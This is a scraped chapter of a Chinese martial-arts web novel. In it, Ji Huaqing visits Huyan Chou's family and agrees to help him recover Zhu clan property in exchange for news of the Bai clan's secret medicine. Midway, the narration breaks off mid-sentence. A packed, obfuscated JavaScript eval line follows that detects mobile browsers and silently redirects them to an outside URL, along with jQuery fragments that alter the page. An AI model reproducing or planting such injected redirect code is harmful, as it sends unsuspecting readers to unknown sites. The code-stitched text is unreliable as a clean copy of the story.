100. 交易(一)
作品:《邑江雨花传》 姬花青等一众人随着呼延酬夫妇来到一扇院门前,甫一开门,一个小小女童就如一根离弦的箭般奔了过来,只见她一头扑进朱镜离怀里,用稚嫩又清脆的童声朝朱镜离叫道:“妈妈!”
朱镜离脸上显出慈爱的神色,两手捧着女儿的脸,道:“烟儿,爹和娘回来了。”
那女童又转向呼延酬,拉住呼延酬没抱着弟弟的那只手一晃一晃,道:“爹爹,你可回来了,烟儿等了好久好久!”呼延酬一边疼爱地笑着,一边摸了摸闺女的头。小女孩约莫四五岁,头两边各扎着一条小辫,细软的头发从呼延酬指间滑过。
女童似乎这时才看到爹娘身后还站着好几个人,她睁着圆溜溜的眼睛,好奇地看着姬花青以及其他玄同教之人。
呼延酬用极温柔的语气道:“这些都是爹爹的朋友。”他一手抱着儿子,一边向女儿介绍道:“这是花伯伯。”
“这是郗姑姑。”
“这是冉姑姑,邬叔叔。”
“这是覃哥哥,尹哥哥,甯姐姐,雨哥哥。”
“这个是姬姑姑。”
呼延酬向女儿介绍完毕后,接着对姬花青以及玄同教诸人道:“这是我女儿,大名叫作呼延兰烟。”众人皆对呼延兰烟一笑。而在回家的路上,呼延酬和朱镜离就已告诉其他人襁褓中的是二人的儿子,名叫呼延麒。
姬花青不知道,当年呼延酬和朱镜离在临蓟那家香薰铺子买香料时共用的名字正是“兰烟”。
呼延酬又转向呼延兰烟,道:“烟儿,怎么不喊人?”
呼延兰烟躲在母亲身后,只露出一张小脸看着今日来到家中的这些客人。
朱镜离一边摸着女儿的头侧,一边也不断催促女儿跟众人打招呼,在父母的再三要求下,呼延兰烟扭扭捏捏了好一阵,最终才用极小的声音叫道:“鸡咕咕。”
呼延酬一口气跟呼延兰烟介绍了那么多人,小孩子实在记不住,而姬花青是呼延酬介绍的最后一个,再加上“姬姑姑”莫名跟“鸡咕咕”同音,所以呼延兰烟对这个称呼印象最深,于是只喊了姬花青一个人。
姬花青轻轻“哎”了一声。
呼延夫妇将姬花青等人请进屋内,先让他们坐了,由呼延酬陪着说话,朱镜离则进到里间泡茶。
由院子进到屋里前,姬花青便朝四周望去,这是个收拾得十分整洁、敞亮的小院,院内一角栽种了各色花草,甚是鲜妍明丽。呼延酬向来没有侍弄花花草草的爱好,姬花青猜想这些平时大概都是朱镜离在打理。
一众人刚进屋,便看见一只浑身毛皮油光水滑的小猫喵喵叫着,呼延兰烟跑过去将小猫抱起。而屋内采光极好,布置得也很干净雅致。姬花青又见一旁的小几上置着个水晶玻璃瓶,瓶内插着几支新鲜的花,看种类和颜色应当正是从院里的花丛剪来。从院落和屋内的布置无一不难看出这家主人对生活的极度热爱。
呼延酬这几年过得倒是不错,姬花青想。
因着姬花青和雨馀凉在这,玄同教众人果然没有从一开始就聊教内的事,而是与呼延酬闲话家常。姬花青在一旁听着,于是便知道了呼延酬一家每十天都会去城东的戏台子看戏,他们有经常光顾的糕饼点心铺子,而每次看完戏夫妇俩都会带着孩子去到那家铺子买糕点。夏天天气晴朗的时候,一家人会一起躺在院子里看星星,既是纳凉,同时夫妇俩也会教孩子识认天上的星星。
姬花青听着这些,想,呼延酬现在过的真是跟以前很不一样的生活,而跟自己现在过的生活也很遥远。
呼延兰烟一会哒哒哒跑进里间,一会又跑出来到呼延酬身边撒娇,这个年纪的孩子是坐不住的。
冉苏眉看着呼延兰烟,问道:“烟儿还没学|运气么?”
呼延酬道:“没有。我们没打算让她走这条路。”
覃七霄道:“真是可惜,呼延大哥你武功那么好,有这么个爹手把手教,烟儿若是习武,以后不得强无敌?”
此时朱镜离端着托盘走过来,在每个人面前放下一杯茶,道:“武林是非太多,我们只希望两个孩子能平平安安长大。”她说完,又端出一盘洗过的水果摆在桌子中央,道:“各位不要客气。”
众人又说了一会,渐渐地就没什么话了。姬花青想:“他们等我走后还要说教里的事呢,我得识趣一些。先趁这时把要问呼延酬的问了,之后就和馀凉回客栈。”于是对呼延酬道:“呼延大哥,我有事想单独问你,可否借一步说话?”说毕又看向朱镜离,眼神中似乎在征求朱镜离的同意。
呼延酬道:“走吧。”说着便从椅子上站起。姬花青也起身,两人一同步入院中。
朱镜离对玄同教诸人道:“你们先坐,我再去拿些点心过来。”说完亦起身离开。
花道人手掌在颊边竖起,悄声对坐在旁边的覃七霄道:“老婆还在这呢,这两人就急着独处,是不是不太合适?”
覃七霄道:“最不合适的就是你这张嘴,你闭嘴行不行?”
姬花青和呼延酬来到院中,此刻外面天已经全黑了。夏天的夜晚虫鸣声声,而这院里似乎种了一种到了晚上香气才变得浓郁的花,花香一阵阵飘过鼻尖,姬花青开门见山道:“呼延大哥,如今的白氏家主是不是一个叫作白玄逸的人?”
呼延酬道:“你消息还挺灵通,不错,的确如此。”自从姬花青叛教后,呼延酬跟姬花青就再也没见过面,在呼延酬的认知中,姬花青对白氏的了解应该还停留在八年前他们离开临蓟的时候。
姬花青道:“你如今既与朱姑娘结为连理,而朱氏又和白氏有着密切的关系,那么你知不知道白氏有一种家传秘药——”姬花青顿了顿,“金玉霜,又叫作金玉满堂霜。”
呼延酬道:“……知道,怎么了?”
姬花青眼中显出了迫切,她道:“呼延大哥可知道如今白氏的金玉霜放在哪?”
呼延酬一手叉腰,低头迎上姬花青的眼神,道:“五年前,我受教主之命来到临蓟。”
“自从之前临蓟一别,我以为我与镜离再也不会有任何交集,可没想到五年前我和她再次相遇,并破除所有阻碍,最终在了一起。”他既要向姬花青提出接下来的要求,就不避讳跟姬花青说起这些事。
姬花青脸上露出疑惑之色,呼延酬没有回答她的问题,反而在说一些毫不相干的东西,甚至是不大适合她这个外人听的东西。
呼延酬脸上微露笑意,他垂眼看着姬花青,道:“你要想知道金玉霜的下落,就得先帮我做一件事。”
姬花青脸色微变,道:“什么?”
呼延酬道:“天下没有白来的好处,要想从别人那里得到东西,自己就得拿出诚意来。你离开你师父后,也算独自在江湖上闯荡了好些年,我以为你明白这点的。”
姬花青道:“我以为看在我们从前交情的份上,你会直接告诉我。”
呼延酬哈哈笑出声来,道:“交情?姬花青,我们之间有那种东西吗?”
姬花青也嗤的一声笑了,道:“呼延酬,你说得对,我们之间没有那种东西。”
呼延酬道:“那么,现在,选吧。”
姬花青上前一步,抬眸盯着呼延酬,道:“呼延酬,你真是个混蛋。”她此次来临蓟到只为拿到金玉霜,并不想被牵扯进其他江湖恩怨之中,况且以呼延酬的武功,连他都需要别人帮他做的事,难度不会太小。
呼延酬道:“的确,我不是专门布施的大善人,所以你的选择是?”
姬花青胸口起伏了一下,道:“我答应帮你办事就是。”
呼延酬的声音从姬花青头顶上方传来:“成交。”
姬花青道:“现在,你是不是该告诉我要做的事是什么?”
呼延酬道:“五年前,我再次来到临蓟,一次偶遇后,镜离决定抛下家族、抛下一切跟我在一起。”
姬花青道:“啊,我以为你俩如今能结为连理是经由他爹同意的呢。他爹叫什么来着?朱显坪?对,是叫这个名。”姬花青又道:“不过我很好奇,为什么八年前她不愿跟你离开,再过了三年却愿意抛下一切跟你走?然而不仅你岳父不同意你俩的事,白氏那位少爷肯定也觉受到了奇耻大辱,你们怎么还能安安稳稳地在临蓟过日子?”
呼延酬道:“你也知道白氏家主换了人,家主既已不再是白晋,曾经的那位白氏少爷自然也不再是少爷了。”
姬花青道:“所以五年前白晋就已被赶下了家主之位?”姬花青用隐容术改变外貌去找白广宴是四年前的事,那时她便知道白氏家主已不再是那个喜欢玩渔戏的白晋。只是那个时候的她已然认为这些武林世家的权力更迭跟自己毫无关系,只要能达成她的目的,哪怕白氏家主是一头骡子都无所谓。
呼延酬道:“准确地说,是六年前。”
姬花青道:“这跟我们要做的事有什么关系么?”话题似乎有些扯得太远了。
呼延酬道:“你耐心听我说完,急什么?六年前将白晋赶下家主之位的正是朱显坪。”
姬花青道:“朱显坪?他不是一心要将女儿嫁给白氏少爷,他这么做的动机是什么?”
呼延酬道:“白氏少爷只是个名号,又不是某个固定的人,只要新上任的家主有儿子,白氏少爷永远都不会缺。况且——”呼延酬眼神突然变得凌厉,“也不一定非要是白氏少爷,直接跟白氏家主成亲也不是不可以。”
姬花青忽然想到昨晚白广宴说白玄逸是在幕僚朱氏的帮助下取代他成了白氏家主,是了,朱氏!那个时候她怎么没想到这会跟朱镜离有关?
姬花青道:“所以白广宴取白晋而代之,白玄逸取白广宴而代之,操纵这一切之人都是朱显坪?”
呼延酬道:“嗯,你推测得一点不错。”
姬花青想,朱显坪的最终目的要让女儿成为白氏女主人,而白氏家主又在他的操纵下一直在换人,她突然有些理解朱镜离为什么最终要背弃自己娘家了。
姬花青道:“他这么做意义何在?难道是觉得换家主游戏很好玩吗?”
呼延酬道:“朱显坪是个很有野心的人。”
姬花青道:“白氏上一个有野心的人已经死在那片树林里了。”
呼延酬知道姬花青指的是白濛,他低笑道:“不错。虽然我也不知道朱显坪将白氏家主换来换去有什么具体的意义,他可能是想学我们水西从前的一些掌盟,那些掌盟想要表现出自己大权在握,震慑其他人,就将卫氏族人轮番挑出来当盟主,过了一段时间废掉,再挑下一个。我对探究朱显坪的内心世界不感兴趣,但他手上有镜离和我要的东西。”
姬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808914|144790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花青一凛,知道呼延酬要说到正题了。
呼延酬皱眉道:“他从未把镜离当作自己的女儿,只把她作为替他联姻好给他带来利益的工具。白广宴是个老头,早年丧妻,之后未再娶,朱显坪让白广宴当上家主后竟想让她嫁给那老鳏夫。”呼延酬呼出一口气,“镜离作为朱家的女儿,曾经也一心一意为家族着想,当初我让她跟我去水西,她终究放不下母家,所以未曾答应。朱显坪操纵白氏家主人选,镜离虽不愿做这些事,却也看在母家看在朱显坪是她父亲的份上出了力,但朱显坪反手便出卖了她,让她嫁给各种……与她根本不合适的人,在她那父亲眼里,无论女子为家族做了多少,她的价值都只在婚姻,只在生育,以及由这两样东西带给做父亲的人的好处。于是镜离终于决定和她的家族决裂,这之后不久,她便遇上了被派来临蓟的我。”
呼延酬继续道:“当镜离对他那不是人的爹彻底看清彻底绝望后,我们夫妇二人商量,要让朱家的部分财产属于我们。”
姬花青双眼快速眨动了数下,似乎在消化方才听到的信息,她道:“所以说你要和你夫人一起谋夺她娘家的财产?”
呼延酬道:“你把话说得太难听,镜离为朱家做了很多,但朱家对她并不好,我只是帮她拿回本该属于她的那份成果,而这些好处都被朱显坪留给了他儿子。”
姬花青道:“你要我帮你做的事就是这个?”
呼延酬道:“你说对了。”
姬花青道:“白氏和朱氏的人武功是什么水平,八年前我们就知道了,以你呼延酬的武功,要单独做成这件事应当不难。”她头一偏,“那么你需要我些什么呢?还有,”她再一次提出了先前呼延酬没有回答的那个疑问,“你和镜离就住在临蓟,你那位岳丈朱显坪,他是怎么忍住没来找你们麻烦的?”
呼延酬道:“这两个问题我大概可以一起回答你。”他看着姬花青,“你也知道如今的白氏家主又换成了白玄逸,朱显坪一直在操控白氏的家主人选,这次却反被自己一手扶持上位的白玄逸利用了。风水轮流转,朱显坪终于也体会到了被用完后再被一脚踹开的滋味——他没能玩过白玄逸。”
姬花青闻言心道:“朱显坪逐年打雁,却不曾想被白玄逸这只小雁啄了眼睛。”
呼延酬道:“朱显坪这次不仅栽了,而且栽得很狠,他不仅没能成功控制白玄逸,还被白玄逸将一双腿废了,和自己儿子一起逃走躲了起来,他自顾不暇,自然没法来找我们夫妇二人麻烦。至于我刚来临蓟那会,一开始朱显坪并不知道镜离去了哪,后来晓得是跟我在一起后,也是暴跳如雷,但白广宴并不像之前那白氏少爷一般对镜离有什么执念,朱家人自己的武功又排不上号,他们只能看着我的长枪破口大骂,能拿我们有什么办法?再后来朱显坪将全副精力放在跟白玄逸斗智斗勇上,所以我们一家便一直安然住在临蓟。”
姬花青心道:“朱显坪的腿也废了,呼延酬要拿走朱家的部分财产应该更如探囊取物一般,却怎么还要我帮忙后才把金玉霜的情报告诉我?不会只是为了恶心我一下吧?”
呼延酬继续道:“白玄逸斗赢朱显坪后,将朱氏的所有财产都收归自己囊中,所以要拿到我们想要的东西,要面对的不是朱家的人,而是白玄逸的人。”
姬花青道:“这个白玄逸很厉害么?连你面对他都如此慎重。”她以为白氏都是草包。
呼延酬道:“他本身武功不好说,但他手下有一队人马武功不容小觑,能说服这些人帮他做事也算有点本事,不怪朱显坪制不住他反被他所制。而从朱家拿到的东西就是这群人在看管。”
姬花青道:“明白了,你要我跟你一起对付这帮人。”
呼延酬凝重道:“姬花青,我先要提醒你,千万别小看这帮人,他们每一个都不简单,分开来就已经很难对付,更别说合力围攻,这些人很扎手。这也是我让你来帮这个忙的原因,我承认你在武功上确实有不凡的见解造诣,就让我看看这几年你长进了多少。”
姬花青心想,好啊,她原本以为这件事只是一般棘手,没想到连呼延酬都这么说,这是要上刀山下火海了。
但一切都是为了得到有关金玉霜的消息,只要能拿到金玉霜,她什么都愿意做。
就在姬花青准备进屋时,呼延酬最后说道:“还有,别再说朱显坪是我岳父之类的话了,我可没把那玩意儿当做岳父。”
进到屋中,姬花青与众人告辞,郗鸿杳忽然拉过姬花青的手在后者掌心留下一吻,道:“花青,保重,希望以后还能再见。”说完歪嘴一笑。
这一举动在雨馀凉看来着实有些不寻常,他也因此在这时才好好看向玄同教北护法郗鸿杳。
郗鸿杳身材高大,嗓音中性,打扮也中性。她的头发并不长,五官英气,虽然不像一般女子那般柔媚,但非常耐看,让人看了十分舒服。
朱镜离握住襁褓中儿子的小手向姬花青和雨馀凉挥手,道:“跟姬姑姑,雨哥哥说,”她用孩子般的语气道:“再见~”
离开呼延酬和朱镜离家后,姬花青回头看向那亮着黄色灯光的屋子。
她从来都觉得觉得自己和这种生活无缘,同样也认为呼延酬与此无缘。
如今看着呼延酬过着这样的日子,她的心情竟有些复杂。